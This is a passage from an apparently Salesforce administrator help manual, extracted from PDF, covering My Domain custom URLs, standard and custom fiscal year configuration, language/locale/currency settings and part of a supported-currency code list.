partner portals enabled:

Monthly Logins Allotted shows the maximum number of customer or partner portal logins allowed per month.
Monthly Logins Used indicates the number of successful logins for all users associated with a customer or partner

portal user license for the month.

See Also:
Company Information Fields
Understanding Language, Locale, and Currency
Managing Multiple Currencies
Understanding User License Types
Viewing Feature Licenses

My Domain Overview
Available in: Unlimited, Enterprise, Developer, and Database.com editions.

Using My Domain, you can define a custom Salesforce domain name for your organization that highlights your brand, or a
different term that represents your business. Using a custom domain name provides important advantages, such as increased
security and better support for single sign-on. My Domain is also available for sandbox environments. You can only define a
custom domain name one time.
Note: My Domain is subject to these additional Terms of Use.

Your domain name uses the standard URL format, including:

The protocol: https://


The subdomain prefix: your brand or term
The domain: my.salesforce.com

For example, the login URL for a company called Universal Containers would be:
https://universalcontainers.my.salesforce.com/. You can use up to 40 characters.
It's a snap to set up a custom domain name. After you decide on the name or term you want to use, My Domain checks to
make sure your subdomain is available. Then it registers the domain name and publishes it to the internet. After a brief period,
you'll receive an email to let you know your new domain name is ready for testing. Log in using the new URL and test the
URLs of other pages.
When deployed, you have options for how you want to handle page requests that don't use the new domain name. You can
block them entirely or redirect them to the new URLwith or without a message.

391

Company Information

Setting Up and Rolling Out a Domain Name

Important: After you deploy your new domain name, you can't reverse it. After deployment, all users will be redirected
to your new domain.

See Also:
Setting Up and Rolling Out a Domain Name

Setting Up and Rolling Out a Domain Name


Available in: Unlimited, Enterprise, Developer, and Database.com editions.

User Permissions Needed


To set up a domain name:

Customize Application

When you set up a domain name for your organization, all of your application URLs, including those of Visualforce pages,
will change. This table shows you the differences.
URL Type

Old URL

New URL

Login

https://login.salesforce.com

https://<subdomain>.my.salesforce.com

Application page
or tab

https://na1.salesforce.com/<pageID>

https://<subdomain>.my.salesforce.com
/<pageID>

Visualforce page https://c.na1.visual.force.com/apex/<pagename> https://<subdomain>--c.na1.visual.


with no namespace
force.com/apex/<pagename>
Visualforce page
with namespace

https://<yournamespace101>.na1.visual. https://<subdomain>-force.com/apex/<pagename>
<yournamespace>.na1.visual.force.com
/apex/<pagename>

Note: If you implement My Domain in a sandbox environment, the URL format is


https://<subdomain>--<sandboxname>.<instance>.my.salesforce.com. Since you can't have

namespaces in a sandbox environment, the format of all Visualforce page URLs in a sandbox is
https://<subdomain>--<sandboxname>.<instance>.my.salesforce.com/apex/<pagename>.

Setting Up Your New Domain Name


1. Click Your Name > Setup > Company Profile > My Domain.
2. Enter the name you want to use within the sample URL. For example, the login URL for a company called Universal
Containers would be: https://universalcontainers.my.salesforce.com/. You can use up to 40 characters.
3. Click Check Availability. If your name is already taken, choose a different one.
4. Click Terms and Conditions to review your agreement, then select the checkbox.

392

Company Information

Setting Up and Rolling Out a Domain Name

5. You'll receive an email when your domain name is ready for testing. (It can take from 24 to 72 hours.) Click the URL in
the email to login to Salesforce using your new domain name.

Testing and Rolling Out Your New Domain Name


Test the new domain name by clicking tabs and links that you use within your application. You'll notice that all the tabs and
pages show your new domain name. After you test your domain name, you're ready to roll it out to users.
1. When you finish testing your new domain name, click Your Name > Setup > Company Profile > My Domain and click
Deploy to Users to roll out the new domain name to your organization.
Important: After you deploy your new domain name, you can't reverse it. After deployment, all users will be
redirected to your new domain.
2. Click Edit in the My Domain Settings related list. If you want to accept logins from your new domain only, select the
Login Policy checkbox. If you don't require users to log in from the new domain, they'll be blocked or redirected based
on your redirect setting.
Tip: If you block application page requests that don't use the new Salesforce domain name URLs, let your users
know they need to either update old bookmarks or create new ones for the login page and any tabs or links within
the application. Users will be required to use the new URLs if you block page requests.
3. Select a redirect policy. If you want to redirect page requests that don't use the new domain name, select a redirect option.
Users can access pages with or without a message explaining the URL change.
Tip: If you choose to redirect page requests to new URLs and provide a warning message, let your users know
that they should update their bookmarks the first time they're redirected.
4. Click Save.
Note: If your domain is registered but has not yet been deployed, URLs will show My Domain URLs when you log
in from the My Domain login page. However, links that originate from merge fields that are embedded in emails sent
asynchronously, such as workflow emails, will still contain the old URLs. After your domain is deployed, those links
will show the new My Domain URLs.

Guidelines for Implementing Your Domain Name

If you have customized your Salesforce UI with features such as custom buttons or Visualforce pages, make sure you test
thoroughly before you roll out your new domain name. Your customizations should not use instance-based URLs.
After you roll out your new domain name, use My Domain's redirect tools to gradually phase it in. For example, choose
the Redirected with a warning... option to make sure users update their bookmarks. When your organization is
ready to use the new domain URLs exclusively, return to setup and choose the Blocked option so users can't use their
old URLs.
If you are using My Domain, you can identify which users are logging in with the new login URL, and when. Click Your
Name > Setup > Manage Users > Login History and look at the Username and Login URL columns.

Getting System Performance and Maintenance Information


Salesforce customers get system performance and maintenance information from trust.salesforce.com. Here's how to
get that information using your new domain name.
1. Go to trust.salesforce.com.
2. Click the System Status tab.
3. Enter your domain name to find your instance and check the status.

393

Company Information

Setting the Fiscal Year

4. Scroll to the System Maintenance table and look for entries for your instance.

See Also:
My Domain Overview

Setting the Fiscal Year


Available in: All Editions except for Database.com.

User Permissions Needed


To view fiscal year:

View Setup and Configuration

To change fiscal year:

Customize Application

You can set one of two types of fiscal years: standard fiscal years or custom fiscal years. For specific information on both types
of fiscal years, see About Fiscal Years on page 396.

Setting a Standard Fiscal Year


If your organization follows the Gregorian calendar year, but you need to change the fiscal year start month, use standard fiscal
years. Standard fiscal years can start on the first day of any month, and you can specify whether the fiscal year is named for
the starting or ending year. For example, if your fiscal year starts in April 2011 and ends in March 2012, your fiscal year setting
can be either 2011 or 2012. If your fiscal year is more complicated than this, see Enabling Custom Fiscal Years on page 395
Caution: You can lose all quotas, forecast history, and overrides if you change your fiscal start month. To preserve
your data, change a month to one previously used as the first month in a quarter. For example, if your start month is
April and you change it to May, which isn't a month that starts a fiscal quarter, you'll lose data. If you change it to
July, which is a month that starts a fiscal quarter, you'll preserve your data. This doesnt apply to the Forecasts product
first released in Winter 12 because it doesnt have quarterly forecasts periods.
To set a standard fiscal year:
1. Back up your current data.
a. Run and export these reports to Excel:

Opportunity Pipeline
Quarterly Forecast Summary
Quota vs. Actual

b. Optionally, generate weekly export data.


We suggest you do this because changing the fiscal year will cause fiscal periods to shift. This change will affect opportunities
and forecasts organization-wide.
2.
3.
4.
5.

Click Your Name > Setup > Company Profile > Fiscal Year.
Select Standard Fiscal Year.
Choose the start month.
Specify whether the fiscal year is defined by the year it begins or ends.

394

Company Information

Setting the Fiscal Year

6. Optionally, select Apply to All Forecasts and Quotas if you want to apply the new fiscal year settings to your
existing forecasts and quotas. This option may not be available depending on your forecast settings.
7. Click Save to finish.

Enabling Custom Fiscal Years


If your fiscal year definition is not met by a standard fiscal year, you can enable custom fiscal years which will allow you to
flexibly define a more complex fiscal year structure.
To enable custom fiscal years:
Note: Before enabling custom fiscal years, make sure that you have exported any data related to fiscal periods. For
specific details about the effects of enabling custom fiscal years, see About Fiscal Years on page 396.
1. Back up your current data.
a. Run and export these reports to Excel:

Opportunity Pipeline
Quarterly Forecast Summary
Quota vs. Actual

b. Optionally, generate weekly export data.


We suggest you do this because changing the fiscal year will cause fiscal periods to shift. This change will affect opportunities
and forecasts organization-wide.
2.
3.
4.
5.

Click Your Name > Setup > Company Profile > Fiscal Year.
Select Custom Fiscal Year.
Click Enable Custom Fiscal Years.
If you understand the effects of enabling custom fiscal years and you have all your data exported, click OK.
Caution: Custom fiscal years cannot be disabled once enabled. Enabling custom fiscal years has impacts on your
reports, forecasts, quotas, and other date sensitive material. Do not enable custom fiscal years unless you understand
and are prepared for all the implications.

If you are not certain you want to enable custom fiscal years, click Cancel.
6. Once you have enabled custom fiscal years, define your fiscal year. See Defining a Custom Fiscal Year on page 402.

See Also:
Setting Up Customizable Forecasting
About Fiscal Years
Defining a Custom Fiscal Year
Choosing a Custom Fiscal Year Template

395

Company Information

About Fiscal Years

About Fiscal Years


Available in: All Editions except for Database.com.

User Permissions Needed


To define or edit fiscal years:

Customize Application

To view fiscal years:

View Setup and Configuration

Not all businesses use the Gregorian year for their fiscal year. Salesforce makes it easy for you to define a fiscal year that fits
your business needs.
If your fiscal year follows the Gregorian calendar, but does not start in January, you can simply and easily set your fiscal year
by defining a standard fiscal year. If your fiscal year follows a different structure, you can define a custom fiscal year that meets
your needs.
Whether you use a standard fiscal year or a custom fiscal year, you can define individual fiscal years once for your entire
organization. These fiscal year definitions allow you to use these fiscal periods throughout Salesforce including in reporting,
opportunities, and forecasting.
Tip: As a best practice, define your custom fiscal years after your current forecast. Also, update product schedules and
forecasts whenever a custom fiscal year is created or changed.

See Also:
Setting the Fiscal Year

Standard Fiscal Years


Standard fiscal years are periods that follow the Gregorian calendar, but can start on the first day of any month of the year.
Unlike custom fiscal year, standard fiscal years can be used by organizations that do not have customizable forecasting enabled.

Custom Fiscal Years


For companies that break down their fiscal years, quarters, and weeks into custom fiscal periods based on their financial
planning requirements, Salesforce allows you to flexibly define these periods using custom fiscal years. For example, as part
of a custom fiscal year, you can create a 13-week quarter represented by three periods of 4, 4, and 5 weeks, rather than calendar
months.
If you use a common fiscal year structure, such as 4-4-5 or a 13-period structure, you can rapidly define a fiscal year by simply
specifying a start date and an included template. If your fiscal year structure is not included in the templates, you can easily

396

Company Information

Customizing the Fiscal Year Structure

modify a template. For example, if you use three fiscal quarters per year (a trimester) rather than four, delete or modify quarters
and periods to meet your needs.
Custom fiscal periods can be named based on your standards. For example, a fiscal period could be called P2 or February.
Fiscal years can be modified any time that you need to change their definition. For example, an extra week could be added to
synchronize a custom fiscal year with a standard calendar in a leap year. Changes to fiscal year structure take effect immediately
upon being saved.
Considerations When Enabling Custom Fiscal Years
Before enabling custom fiscal year, consider these issues:

Once you enable custom fiscal years, you cannot disable it. However, you can define custom fiscal years that follow the
same Gregorian calendar structure as the Salesforce standard fiscal years.
Fiscal years will not be automatically created. The only fiscal years available are those that your organization defines.
Forecasting cannot be used with custom fiscal years unless you have customizable forecasting enabled. To determine if you
have customizable forecasting, see Do I Have Customizable Forecasting? on page 2502.
Enabling or defining custom fiscal years impacts your forecasts, reports, and quotas.
When you define a new custom fiscal year, or when you change the length of any fiscal period, all quotas for that year
will be lost.
When you define a new custom fiscal year, or when you change the length of any fiscal period, forecasts, forecast history,
and forecast overrides are lost. Changing the length of a period may also affect the previous or next fiscal year and
reports associated with it. Forecasts for periods before the first custom fiscal year will be saved and can be accessed as
usual.
Forecast reports for a period after the last defined fiscal year cannot be grouped by period, only by date.
To ensure your forecast reports have the most updated amounts, view the forecast for the period included in the report
before running a forecast report.

Your organization will not be able to use fiscal period columns in opportunity, opportunity with product, or opportunity
with schedule reports.
Opportunity list views will not include a fiscal period columns.
When custom fiscal years are enabled, you can't use the FISCAL_MONTH(), FISCAL_QUARTER(), or FISCAL_YEAR()
date functions in SOQL. For more information on SOQL date functions, see the Salesforce SOQL and SOSL Reference
Guide.

Customizing the Fiscal Year Structure


Available in: All Editions except for Database.com.

User Permissions Needed


To define or edit fiscal years:

Customize Application

To view fiscal years:

View Setup and Configuration

If your custom fiscal year needs a different structure than one available from the templates, you can use advanced customization
to modify the details of your custom fiscal year definition. Custom fiscal years allow you to:

397

Company Information

Customizing the Fiscal Year Structure

Customize the period labels


Reset the fiscal year to a template
Add or remove fiscal periods
Change the length of a fiscal week
Caution: Changing the length of a fiscal year has an impact on forecasting and reporting. For detailed information
on the impact, see About Fiscal Years on page 397.

Customizing the Period Labels


The fiscal year period labels for forecasting and reporting are set by the default label values for the fiscal year periods. To
change them, see Customizing the Fiscal Year Labels on page 399.

Resetting the Fiscal Year to a Template


During customization, if you want to return to a fiscal year template, select a template from the Reset Fiscal Year
Structure drop-down list.
Note: Resetting the fiscal year structure to a template removes all the customizations you made to the fiscal year.

Adding or Removing Fiscal Periods


You can easily add or remove fiscal periods (such as quarters, periods, or weeks) from the fiscal year structure.
To add fiscal periods:
1.
2.
3.
4.

Click Your Name > Setup > Company Profile > Fiscal Year.
Click Edit for the fiscal year you want to edit.
If it is not already expanded, expand the Advanced Customization section.
Select the checkbox for the period before the new period. For example, if you want to add a new quarter, and you want it
to be the second quarter, select the checkbox for the first quarter.
5. Click Insert.
Note: The maximum number of fiscal periods is 250.

To remove a fiscal period:


1.
2.
3.
4.
5.

Click Your Name > Setup > Company Profile > Fiscal Year.
Click Edit for the fiscal year you want to edit.
If it is not already expanded, expand the Advanced Customization section.
Select the checkbox for the period you want to delete.
Click Delete.
Note: You must have at least one quarter, one period, and one week.

398

Company Information

Customizing the Fiscal Year Labels

Changing the Length of a Fiscal Week


To change the length of fiscal periods:
1.
2.
3.
4.

Click Your Name > Setup > Company Profile > Fiscal Year.
Click Edit for the fiscal year you want to edit.
If it is not already expanded, expand the Advanced Customization section.
Choose the length from the Duration drop-down list for the fiscal week.
Note: To change the duration of a fiscal period or quarter, insert or delete weeks, or change the length of weeks
that compose the period or quarter.

Once you have customized your fiscal year, preview the fiscal year definition. If it is correct, close the preview and click Save
to save your fiscal year.

See Also:
Defining a Custom Fiscal Year
About Fiscal Years
Choosing a Custom Fiscal Year Template

Customizing the Fiscal Year Labels


Available in: All Editions except for Database.com.

User Permissions Needed


To define or edit fiscal years:

Customize Application

To view fiscal years:

View Setup and Configuration

There are two ways to customize the labeling of your fiscal year:
1. Naming schemes and prefix choices
2. Fiscal year picklist customization

Fiscal Year Naming Schemes and Prefix Choices


When defining a custom fiscal year, you can choose the labeling scheme to use for your custom fiscal year. Each fiscal period
type (quarter, period, and week) has a list of labeling schemes that you can select.
Quarter Name Scheme
Numbered by Year
This option allows you to add the quarter number to the quarter label. The quarter label is a combination of the
label for the quarter prefix and the quarter number. For example, if the quarter prefix is Q, the label for the third
quarter Q3. To customize the quarter prefix, see Quarter Prefix on page 400. By default the number for each

399

Company Information

Customizing the Fiscal Year Labels

quarter is set by their order (the first quarter is labeled 1), but you can customize it by selecting a different value
from the quarter detail drop-down list.
Custom Quarter Names
This option allows you to set the quarter label to any name. The quarter label is set to the name you select from
Quarter Name. By default the order of the quarter names is the same as the picklist order, but you can customize
it by selecting a different value from the quarter detail drop-down list.
Period Name Scheme
Numbered By Year
This option allows you to set the period label based on its position in the year. The period label is a combination
of the period prefix and the period number. Period numbers do not reset in each quarter. For example, if the period
prefix is P, the label for the sixth period is P6. To customize the Period Prefix, see Period Prefix on
page 400. By default the number for each period is set by their order (the first period is labeled 1), but you can
customize it by selecting a different value from the period detail drop-down list.
Numbered By Quarter
This option allows you to set the period label based on its position in the quarter. The period label is a combination
of the period prefix and the period number. Period numbers reset in each quarter. For example, if the period prefix
is P, and the sixth period is the second period in the second quarter, its label is P2. To customize the period
prefix, see Period Prefix on page 400. By default the number for each period is set by their order within the
quarter (the first period in a quarter is labeled 1), but you can customize it by selecting a different value from the
period detail drop-down list.
Standard Month Names
This option allows you to set the period label to the month name of the start of the period. For example, if a period
started on October 12 and ends on November 10, the period label would be October.
Custom Period Names
This option allows you to set the period label to any string. The period label is set to the string you select from
Period Name. By default the order of the period names is the same as the picklist order, which you can customize
by selecting a different value from the period detail drop-down list.

Fiscal Year Picklists


Review these custom picklists to customize the labels for your custom fiscal year.
Quarter Prefix

The quarter prefix picklist is a list of options for the text that prefixes the quarter number or name if your fiscal year uses
the Numbered By Year quarter naming scheme. For example, if the fiscal quarter is called Q4, the Q is the quarter
prefix.
Period Prefix

The period prefix picklist is a list of options for the text that prefixes the period number or name if your fiscal year uses
the Numbered By Year period naming scheme. For example, if the fiscal quarter is called P4, the P is the period
prefix.
Quarter Name

The quarter name picklist is a list of options for the quarter name if your fiscal year uses the Custom Quarter Names
quarter naming scheme. For example, if you want to name your quarters for the seasons (Spring, Summer, Fall, and
Winter), you could set the quarter name list to those values.

400

Company Information

Choosing a Custom Fiscal Year Template

Period Name

The period name picklist is a list of options for the quarter name if your fiscal year uses the Custom Period Names
quarter naming scheme. Similar to the quarter name picklist, you can choose meaningful names for the period name
picklist.

Customizing Fiscal Year Names


To customize one of these picklists:
1. Click Your Name > Setup > Company Profile > Fiscal Year.
2. Click Edit next to the appropriate picklist.
For details on customizing the values of these picklists, see Additional Options for Updating Picklists on page 1061.

Choosing a Custom Fiscal Year Template


Available in: All Editions except for Database.com.

User Permissions Needed


To change your fiscal year:

Customize Application

When defining a new custom fiscal year, your first step is to choose a custom fiscal year template. These templates are available
to make it easier for you to define your custom fiscal year. They create a simple custom fiscal year that you can customize to
meet your exact needs.
Note: If you choose a template and realize that it is not the best one for your fiscal year definition, you can reset it at
any time using the Reset Fiscal Year Structure option. For more information, see Customizing the Fiscal Year
Structure on page 397.
Choose one of three types of templates:
4 Quarters per Year, 13 Weeks per Quarter
Choose one of these templates for your fiscal year if you want each quarter to have the same number of weeks per quarter.
These templates all have 4 quarters, 12 periods, and 52 weeks per year. Each quarter is 13 weeks long and is composed
of three periods. Two of the periods in each quarter are 4 weeks, and one is 5 weeks. In a 4-4-5 template, for example,
the first and second period of a quarter are 4 weeks long, and the third period is 5 weeks long. Weeks are always 7 days
long. A typical customization for these templates is to add extra weeks for leap years.
4-4-5
Within each quarter, period 1 has 4 weeks, period 2 has 4 weeks, and period 3 has 5 weeks
4-5-4
Within each quarter, period 1 has 4 weeks, period 2 has 5 weeks, and period 3 has 4 weeks
5-4-4
Within each quarter, period 1 has 5 weeks, period 2 has 4 weeks, and period 3 has 4 weeks

401

Company Information

Defining a Custom Fiscal Year

13 Periods per Year, 4 Weeks per Period


Choose one of these templates if your fiscal year has more than 12 periods and if one quarter is longer than the other
quarters. These templates all have 4 quarters per year, 13 periods per year, 3 or 4 periods per quarter, 53 weeks per year,
and 4 weeks per period (5 weeks in the final period). Weeks generally have 7 days, but will include a short week at the
end of a year. The most common customization for this type of template is to create or change the length of a short
week.
3-3-3-4
Quarter 1 has 3 periods, quarter 2 has 3 periods, quarter 3 has 3 periods, and quarter 4 has 4 periods
3-3-4-3
Quarter 1 has 3 periods, quarter 2 has 3 periods, quarter 3 has 4 periods, and quarter 4 has 3 periods
3-4-3-3
Quarter 1 has 3 periods, quarter 2 has 4 periods, quarter 3 has 3 periods, and quarter 4 has 3 periods
4-3-3-3
Quarter 1 has 4 periods, quarter 2 has 3 periods, quarter 3 has 3 periods, and quarter 4 has 3 periods
Gregorian Calendar
12 months/year, standard Gregorian calendar.
Unlike the other template styles, you cannot do advanced customization of a fiscal year that has been created from a
Gregorian calendar template. You should only use this template if you want to create a fiscal year that follows the
Gregorian calendar. This template mimics the functionality of standard fiscal years.

See Also:
Defining a Custom Fiscal Year
About Fiscal Years

Defining a Custom Fiscal Year


Available in: All Editions except for Database.com.

User Permissions Needed


To view fiscal year:

View Setup and Configuration

To change your fiscal year:

Customize Application

Before defining a custom fiscal year, enable custom fiscal years for your organization. See Enabling Custom Fiscal Years on
page 395 for more information.
Enabling custom fiscal years does not automatically define them. You must define all of your company's custom fiscal years
so that they fit your company's calendar.

402

Company Information

Defining a Custom Fiscal Year

If you have defined a custom fiscal year and you need to change it, you can edit the existing fiscal year definition. Custom
fiscal years cannot be deleted. Instead of deleting an existing fiscal year, edit it until it meets your needs.
Before defining or editing any custom fiscal years, be aware of its impact on forecasting, reports, and other objects by reviewing
About Fiscal Years on page 396.

Defining a New Custom Fiscal Year


To define a new custom fiscal year:
1. Click Your Name > Setup > Company Profile > Fiscal Year.
2. Click New. The Custom Fiscal Year template dialog opens.
3. Choose a template and click Continue to close the Custom Fiscal Year template dialog. For more information on the
templates, see Choosing a Custom Fiscal Year Template on page 401.
4. Set the fiscal year start date, the fiscal year name, and choose the week start day. You can also add a description for the
fiscal year.
Note: If this is the first custom fiscal year you have defined, the Fiscal Year Start Date and the Week
Start Date are set to today's date and day of week. If you have already defined a custom fiscal year, they will be
set to the day after the last end date of your custom fiscal years.
If you need to make changes other than the start date, year name, or week start day, see Customizing the Fiscal Year
Structure on page 397.
5. Optionally, review the fiscal year definition by clicking on Preview.
If it is correct, close the preview and click Save to save your fiscal year, or Save & New to save your fiscal year and define
another fiscal year.

Editing a Custom Fiscal Year


To edit an existing custom fiscal year definition:
1.
2.
3.
4.

Click Your Name > Setup > Company Profile > Fiscal Year.
Click a defined fiscal year name to review the details. Close the fiscal year preview to continue.
Click Edit for the fiscal year you want to edit.
Change the Fiscal Year Start Date, the Fiscal Year Name, Description, or Week Start Day.
If changing the Fiscal Year Start Date causes this fiscal year to overlap with the previous fiscal year, or if it creates
a gap between the fiscal years, the end date of the previous fiscal year will be changed to the day before the start of this
fiscal year.
If changing the end date will cause this fiscal year to overlap the next fiscal year, or if it creates a gap between the fiscal
years, the start date of the next fiscal year will be changed to the day after the end of this fiscal year.
Note: You cannot change the start or end date of a fiscal year that causes it to overlap with a fiscal year that is
defined using a Gregorian year template.
Caution: If you change the start or end date of any quarter, period, or week, all forecast data (including quotas,
forecast history, and forecast overrides) that are within that date range, and all forecasts for date ranges automatically
adjusted as a result of that change, will be lost. This includes end or start date changes resulting from inserting or
deleting periods.

5. Click Preview.
6. Review the fiscal year definition. If it is correct, close the preview and click Save to save your fiscal year. If you need to
make more detailed edits, see Customizing the Fiscal Year Structure on page 397.

403

Company Information

Understanding Language, Locale, and Currency

Note: Unless you specify them, the fiscal year period labels for forecasting and reporting will be set by the default
label values for the fiscal year periods. If you would like to change them, see Customizing the Fiscal Year Labels
on page 399.

See Also:
Setting the Fiscal Year
Choosing a Custom Fiscal Year Template
Additional Options for Updating Picklists
About Fiscal Years

Understanding Language, Locale, and Currency


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view company information:

View Setup and Configuration

To change company information

Customize Application

The available personal setup options vary according to which Salesforce Edition you have.

The Salesforce settings for language, locale, time zone, and currency can affect how objects (Accounts, Leads, Opportunities,
etc.) are displayed. In a single currency organization, the Salesforce administrators set the currency locale, default language,
default locale, and default time zone for their organizations and the users can set their individual language, locale, and time
zone. In a multiple currency organization, the Salesforce administrators set the corporate currency, default language, default
locale, and default time zone for their organizations and the users can set their individual currency, language, locale, and time
zone.
Note: Single language organizations cannot change their language, although they can change their locale.

Setting

Who can edit the setting

How to edit the setting

Description and effects of the


setting

Currency

User in a multiple currency


organization

Go to Your Name > Setup


> My Personal Information
> Personal Information >
Edit and select a currency
from the activated currencies
drop-down list.

Users default currency for quotas,


forecasts, and reports. Shown only
in organizations using multiple
currencies. This must be one of
the active currencies for the
organization.

Corporate Currency

Administrator in a multiple Go to Your Name > Setup


currency organization
> Company Profile >

The currency in which the


organization's corporate

404

Company Information

Setting

Understanding Language, Locale, and Currency

Who can edit the setting

How to edit the setting

Description and effects of the


setting

Manage Currencies >


Change Corporate and
select a currency from the

headquarters reports revenue.


Serves as the basis for all currency
conversion rates. Only for
organizations that use multiple
currencies.

New Corporate
Currency drop-down list.

To add a currency, click


New, select a currency from
the supported currency
drop-down list, enter a
conversion rate, enter the
number of decimal places you
want, and click Save or Save
& New to add another
currency.
Currency Locale

Administrator in a single
currency organization

Default Currency ISO Not editable


Code

Go to Your Name > Setup


> Company Profile >
Company Information >
Edit and select a currency
from the supported currency
drop-down list.

The country or geographic region


in which the organization is
located. The setting affects the
format of currency amounts. For
single currency organizations only.

Not editable

User's default currency setting for


new records. Available only for
organizations that use multiple
currencies.

Default Language

Administrator

Go to Your Name > Setup


> Company Profile >
Company Information >
Edit and select a language
from the supported language
drop-down list.

Default Locale

Administrator

Go to Your Name > Setup


> Company Profile >
Company Information >
Edit and select a locale from
the supported locale
drop-down list.

This setting also determines the


language in which all
customizationssuch as custom
fields, tabs, and user interface
optionsare stored. For
customizations, individual users'
language settings do not override
this setting.

The default country or geographic


region that is selected for new
users in the organization. This
setting determines the format of
dates, times, and names in
Salesforce. In Contact Manager,
Group, Professional, Enterprise,
Note: Locale names
Unlimited, and Developer Edition
with a country in
organizations, individual users can
parentheses also set
set their personal locale, which
a default currency

405

Company Information

Setting

Understanding Language, Locale, and Currency

Who can edit the setting

How to edit the setting

Description and effects of the


setting
overrides the organization setting.
In Group Edition, this field is
called Locale.

Default Time Zone

Administrator

Information Currency Not editable

Language

User

Go to Your Name > Setup


> Company Profile >
Company Information >
Edit and select a time zone
from the supported time
zone drop-down list.

Primary time zone in which the


organization is located. A user's
individual Time Zone setting
overrides the organization's
Default Time Zone setting.

Not editable

The default currency for all


currency amount fields in the user
record. Available only for
organizations that use multiple
currencies.

Go to Your Name > Setup


> My Personal Information
> Personal Information >
Edit and select a language
from the supported language
drop-down list.

The primary language for the


user. All text and online help is
displayed in this language. In
Professional, Enterprise, and
Unlimited Edition organizations,
a users individual Language
setting overrides the
organizations Default
Language.

Note: Organizations in Arizona


should select Mountain Standard
Time, and organizations in parts
of Indiana that do not follow
Daylight Savings Time should
select Eastern Standard Time.

Not available in Personal Edition,


Contact Manager, or Group
Edition. The organizations
Display Language applies to
all users.
Locale

User

Go to Your Name > Setup


> My Personal Information
> Personal Information >
Edit and select a locale from
the supported locale
drop-down list.

Country or geographic region in


which user is located.

The Locale setting affects the


format of date, date/time, and
number fields, and the calendar.
For example, dates in the English
Note: Locale names (United States) locale display as
with a country in
06/30/2000 and as 30/06/2000 in
the English (United Kingdom)

406

Company Information

Setting

Understanding Language, Locale, and Currency

Who can edit the setting

How to edit the setting


parentheses also set
a default currency

Description and effects of the


setting
locale. Times in the English
(United States) locale display
using a twelve-hour clock with
AM and PM (for example, 2:00
PM), whereas in the English
(United Kingdom) locale, they
display using a twenty-four-hour
clock (for example, 14:00).
The Locale setting also affects
the first and last name order on
Name fields for users, leads, and
contacts. For example, Bob
Johnson in the English (United
States) locale displays as Bob
Johnson, whereas the Chinese
(China) locale displays the name
as Johnson Bob.
For Personal Edition users, the
locale is set at the organization
level via Your Name > Setup >
Company Profile > Company
Information. For all other users,
their personal locale, available at
Your Name > Setup > My
Personal Information > Personal
Information, overrides the
organization setting.

Time Zone

User

Go to Your Name > Setup


> My Personal Information
> Personal Information >
Edit and select a time zone
from the supported time
zone drop-down list.

Primary time zone in which user


works.
Users in Arizona should select the
setting with America/Phoenix,
and users in parts of Indiana that
do not follow Daylight Savings
Time should select the setting
with America/Indianapolis.

See Also:
About Company Information

407

Company Information

Supported Currencies

Supported Currencies
Available in: Group, Professional, Enterprise, Unlimited, Database.com and Developer Editions

User Permissions Needed


To view company information:

View Setup and Configuration

To change company information:

Customize Application

The available personal setup options vary according to which Salesforce Edition you have.

Salesforce supported currencies:


Currency Name

Currency Code

Afghanistan Afghani

AFN

Albanian Lek

ALL

Algerian Dinar

DZD

Angola Kwanza

AOA

Argentine Peso

ARS

Armenian Dram

AMD

Aruba Florin

AWG

Australian Dollar

AUD

Azerbaijanian Manat

AZN

Bahamian Dollar

BSD

Bahraini Dinar

BHD

Bangladesh Taka

BDT

Barbados Dollar

BBD

Belarussian Ruble

BYR

Belize Dollar

BZD

Bermuda Dollar

BMD

Bhutan Ngultrum

BTN

Bolivia Mvdol

BOV

Bolivian Boliviano

BOB

Botswana Pula

BWP

Brazilian Real

BRL

408

Company Information

Supported Currencies

Currency Name

Currency Code

British Pound

GBP

Brunei Dollar

BND

Bulgaria Lev

BGN

Burundi Franc

BIF

Cambodia Riel

KHR

Canadian Dollar

CAD

Cape Verde Escudo

CVE

Cayman Islands Dollar

KYD

CFA Franc (BCEAO)

XOF

CFA Franc (BEAC)

XAF

Chilean Peso

CLP

Chinese Renminbi

CN

Chinese Yuan

CNY

Colombian Peso

COP

Comoros Franc

KMF

Convertible Marks

BAM

Costa Rica Colon

CRC

Croatian Kuna

HRK

Cuban Peso

CUP

Czech Koruna

CZK

Danish Krone

DKK

Dijibouti Franc

DJF

Dominican Peso

DOP

East Caribbean Dollar

XCD

Egyptian Pound

EGP

Eritrea Nakfa

ERN

Estonian Kroon

EEK

Ethiopian Birr

ETB

Euro

EUR

Falkland Islands Pound

FKP

Fiji Dollar

FJD

409

Company Information

Supported Currencies

Currency Name

Currency Code

Franc Congolais

CDF

Gambian Dalasi

GMD

Georgia Lari

GEL

Ghanian Cedi

GHS

Gibraltar Pound

GIP

Guatemala Quetzal

GTQ

Guinea Franc

GNF

Guyana Dollar

GYD

Haiti Gourde

HTG

Honduras Lempira

HNL

Hong Kong Dollar

HKD

Hungarian Forint

HUF

Iceland Krona

ISK

Indian Rupee

INR

Indonesian Rupiah

IDR

Iranian Rial

IRR

Iraqi Dinar

IQD

Israeli Shekel

ILS

Jamaican Dollar

JMD

Japanese Yen

JPY

Jordanian Dinar

JOD

Kazakhstan Tenge

KZT

Kenyan Shilling

KES

Korean Won

KRW

Kuwaiti Dinar

KWD

Kyrgyzstan Som

KGS

Lao Kip

LAK

Latvian Lat

LVL

Lebanese Pound

LBP

Lesotho Loti

LSL

Liberian Dollar

LRD

410

Company Information

Supported Currencies

Currency Name

Currency Code

Libyan Dinar

LYD

Lithuanian Lita

LTL

Macau Pataca

MOP

Macedonian Denar

MKD

Malagasy Ariary

MGA

Malawi Kwacha

MWK

Malaysian Ringgit

MYR

Maldives Rufiyaa

MVR

Mauritania Ougulya

MRO

Mauritius Rupee

MUR

Mexican Peso

MXN

Mexican Unidad de Inversion (UDI)

MXV

Moldovan Leu

MDL

Mongolian Tugrik

MNT

Moroccan Dirham

MAD

Mozambique Metical

MZN

Myanmar Kyat

MMK

Namibian Dollar

NAD

Nepalese Rupee

NPR

Neth Antilles Guilder

ANG

New Zealand Dollar

NZD

Nicaragua Cordoba

NIO

Nigerian Naira

NGN

North Korean Won

KPW

Norwegian Krone

NOK

Omani Rial

OMR

Pacific Franc

XPF

Pakistani Rupee

PKR

Panama Balboa

PAB

Papua New Guinea Kina

PGK

Paraguayan Guarani

PYG

411

Company Information

Supported Currencies

Currency Name

Currency Code

Peruvian Nuevo Sol

PEN

Philippine Peso

PHP

Polish Zloty

PLN

Qatar Rial

QAR

Romanian Leu

RON

Russian Rouble

RUB

Rwanda Franc

RWF

Samoa Tala

WST

Sao Tome Dobra

STD

Saudi Arabian Riyal

SAR

Serbian Dinar

RSD

